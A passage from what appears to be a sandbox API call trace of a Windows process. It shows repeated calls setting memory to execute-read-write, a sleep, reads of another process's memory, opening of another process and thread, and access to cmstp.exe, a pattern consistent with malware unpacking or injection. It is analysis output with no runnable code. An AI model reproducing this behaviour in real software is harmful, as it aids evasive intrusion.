BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.300] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.309] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.319] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.338] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.348] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.359] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.369] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.385] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.395] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.405] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.414] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.430] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.440] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.452] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.467] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.483] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.492] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0371.497] PostThreadMessageW (idThread=0x5cc, Msg=0x111, wParam=0x0, lParam=0x0) returned 1 [0371.674] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0373.220] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0373.230] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0373.255] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0373.266] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0373.276] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0373.292] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0373.302] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0373.312] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0373.322] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0373.339] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0373.349] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0373.359] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0373.371] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0373.390] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0373.400] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0373.412] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0373.417] NtDelayExecution (Alertable=0, Interval=0x1eb8e0d4*=-30000000) returned 0x0 [0376.441] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0376.453] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0376.531] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0376.543] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0376.554] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0376.636] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0376.647] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0376.658] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0376.716] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0376.728] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0376.738] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0376.753] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0376.815] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0376.826] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0376.836] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0376.841] NtReadVirtualMemory (in: ProcessHandle=0x2f0, BaseAddress=0x61d7000, Buffer=0x1eb8e0f8, NumberOfBytesToRead=0x2a8, NumberOfBytesRead=0x0 | out: Buffer=0x1eb8e0f8*, NumberOfBytesRead=0x0) returned 0x0 [0376.846] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0376.909] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0376.919] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0376.930] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.007] NtClose (Handle=0x2f0) returned 0x0 [0377.024] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.039] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.049] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.054] NtOpenProcess (in: ProcessHandle=0x1eb8f1d4, DesiredAccess=0x438, ObjectAttributes=0x1eb8ea94*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1eb8ea68*(UniqueProcess=0x1004, UniqueThread=0x0) | out: ProcessHandle=0x1eb8f1d4*=0x2f0) returned 0x0 [0377.059] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.069] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.101] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.210] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.220] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.273] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.283] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.293] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.307] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.316] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.375] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.380] NtOpenThread (in: ThreadHandle=0x1eb8f1d8, DesiredAccess=0x1a, ObjectAttributes=0x1eb8ea94, ClientId=0x1eb8ea60*(UniqueProcess=0x0, UniqueThread=0x1018) | out: ThreadHandle=0x1eb8f1d8*=0x3a4) returned 0x0 [0377.385] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.395] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.405] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.461] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.471] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.481] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.506] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows\\SysWOW64\\cmstp.exe", NtPathName=0x1eb8e098, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows\\SysWOW64\\cmstp.exe", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0377.555] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.565] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.575] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.581] NtCreateFile (in: FileHandle=0x1eb8e0b8, DesiredAccess=0x120089, ObjectAttributes=0x1eb8e080*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\Windows\\SysWOW64\\cmstp.exe", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x1eb8e0a0, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x1eb8e0b8*=0x3b0, IoStatusBlock=0x1eb8e0a0*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0377.586] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x920cd0) returned 1 [0377.586] NtQueryInformationFile (in: FileHandle=0x3b0, IoStatusBlock=0x1eb8e0a0, FileInformation=0x1eb8dff8, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x1eb8e0a0, FileInformation=0x1eb8dff8) returned 0x0 [0377.591] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.713] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.723] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.733] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0377.743] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x14600) returned 0x928a48 [0377.750] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, 